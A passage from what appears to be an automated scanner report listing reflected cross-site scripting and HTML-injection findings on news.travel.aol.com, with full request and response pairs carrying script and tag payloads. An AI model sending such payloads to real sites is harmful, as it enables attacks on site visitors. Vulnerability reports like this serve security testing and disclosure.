GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/90?220bf"><script>alert(1)</script>0cd508178f9=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:35 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:34 GMT; path=/ Keep-Alive: timeout=5, max=999961 Connection: Keep-Alive Content-Type: text/html Content-Length: 95518
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90?220bf"><script>alert(1)</script>0cd508178f9=1" /> ...[SNIP]...
|
1.23. http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/16/delta-passenger-scrutinized-for-tattoo/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbcb9"><script>alert(1)</script>2d9bf2ed4bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/16/delta-passenger-scrutinized-for-tattoo/?fbcb9"><script>alert(1)</script>2d9bf2ed4bc=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:33 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/ Keep-Alive: timeout=5, max=999940 Connection: Keep-Alive Content-Type: text/html Content-Length: 96300
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/?fbcb9"><script>alert(1)</script>2d9bf2ed4bc=1" /> ...[SNIP]...
|
1.24. http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/18/10-best-colorado-ski-resorts/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e898d"><script>alert(1)</script>93838d0de3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/18/10-best-colorado-ski-resorts/?e898d"><script>alert(1)</script>93838d0de3f=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:25 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:24 GMT; path=/ Keep-Alive: timeout=5, max=1000000 Connection: Keep-Alive Content-Type: text/html Content-Length: 69505
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/?e898d"><script>alert(1)</script>93838d0de3f=1" /> ...[SNIP]...
|
1.25. http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dc3f"><script>alert(1)</script>41d88c6380c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/?9dc3f"><script>alert(1)</script>41d88c6380c=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:28 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:27 GMT; path=/ Keep-Alive: timeout=5, max=999988 Connection: Keep-Alive Content-Type: text/html Content-Length: 71282
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/?9dc3f"><script>alert(1)</script>41d88c6380c=1" /> ...[SNIP]...
|
1.26. http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edb57"><script>alert(1)</script>12d8c31eb21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/?edb57"><script>alert(1)</script>12d8c31eb21=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:27 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:26 GMT; path=/ Keep-Alive: timeout=5, max=999850 Connection: Keep-Alive Content-Type: text/html Content-Length: 67244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/?edb57"><script>alert(1)</script>12d8c31eb21=1" /> ...[SNIP]...
|
1.27. http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/19/american-airlines-launching-in-flight-happy-hour/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34592"><script>alert(1)</script>603fd304c05 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/19/american-airlines-launching-in-flight-happy-hour/?34592"><script>alert(1)</script>603fd304c05=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:18 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:17 GMT; path=/ Keep-Alive: timeout=5, max=999953 Connection: Keep-Alive Content-Type: text/html Content-Length: 62744
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/?34592"><script>alert(1)</script>603fd304c05=1" /> ...[SNIP]...
|
1.28. http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/19/five-great-myrtle-beach-hotels/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc8b3"><script>alert(1)</script>0960007a325 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/19/five-great-myrtle-beach-hotels/?dc8b3"><script>alert(1)</script>0960007a325=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:31 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:30 GMT; path=/ Keep-Alive: timeout=5, max=999987 Connection: Keep-Alive Content-Type: text/html Content-Length: 63438
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/?dc8b3"><script>alert(1)</script>0960007a325=1" /> ...[SNIP]...
|
1.29. http://news.travel.aol.com/bloggers/anne-johnson/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/anne-johnson/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c31d"><a>9fbcf0d2f54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/anne-johnson1c31d"><a>9fbcf0d2f54/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:04 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999983 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/anne-johnson1c31d"><a>9fbcf0d2f54/" /> ...[SNIP]...
|
1.30. http://news.travel.aol.com/bloggers/fran-golden [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/fran-golden |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53fe6"><a>a29faff96e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/fran-golden53fe6"><a>a29faff96e1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:08 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999966 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46173
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/fran-golden53fe6"><a>a29faff96e1" /> ...[SNIP]...
|
1.31. http://news.travel.aol.com/bloggers/fran-golden/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/fran-golden/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ccc1"><a>99ad7f4d0d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/fran-golden5ccc1"><a>99ad7f4d0d3/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:57 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999997 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46176
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/fran-golden5ccc1"><a>99ad7f4d0d3/" /> ...[SNIP]...
|
1.32. http://news.travel.aol.com/bloggers/gerard-walen/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/gerard-walen/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ead64"><a>d8b51154890 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/gerard-walenead64"><a>d8b51154890/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:01 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999950 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46181
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/gerard-walenead64"><a>d8b51154890/" /> ...[SNIP]...
|
1.33. http://news.travel.aol.com/bloggers/libby-zay/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/libby-zay/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92c6d"><a>a9aba3af6c3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/libby-zay92c6d"><a>a9aba3af6c3/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:00 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999972 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/libby-zay92c6d"><a>a9aba3af6c3/" /> ...[SNIP]...
|
1.34. http://news.travel.aol.com/bloggers/liz-behler [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/liz-behler |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32301"><a>39aebbd68f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/liz-behler32301"><a>39aebbd68f1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:05 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999966 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46168
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/liz-behler32301"><a>39aebbd68f1" /> ...[SNIP]...
|
1.35. http://news.travel.aol.com/bloggers/mclean-robbins/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/bloggers/mclean-robbins/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2f4b"><a>2c34d5cdda0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /bloggers/mclean-robbinsc2f4b"><a>2c34d5cdda0/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:00 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999958 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 46191
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/bloggers/mclean-robbinsc2f4b"><a>2c34d5cdda0/" /> ...[SNIP]...
|
1.36. http://news.travel.aol.com/category/air-travel/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/air-travel/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a4f1"><a>b2dd1638cf1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/air-travel6a4f1"><a>b2dd1638cf1/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:55:50 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999983 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47628
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/air-travel6a4f1"><a>b2dd1638cf1/" /> ...[SNIP]...
|
1.37. http://news.travel.aol.com/category/beach/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/beach/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36479"><a>f5815238521 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/beach36479"><a>f5815238521/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:13 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999863 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47602
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/beach36479"><a>f5815238521/" /> ...[SNIP]...
|
1.38. http://news.travel.aol.com/category/best-of/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/best-of/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b402e"><a>75dc85dc11e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/best-ofb402e"><a>75dc85dc11e/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:06 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999953 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/best-ofb402e"><a>75dc85dc11e/" /> ...[SNIP]...
|
1.39. http://news.travel.aol.com/category/budget/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/budget/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4119"><a>daaca159158 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/budgete4119"><a>daaca159158/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:05 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999972 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47608
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/budgete4119"><a>daaca159158/" /> ...[SNIP]...
|
1.40. http://news.travel.aol.com/category/cruise/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/cruise/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdb80"><a>a4a295e79af was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
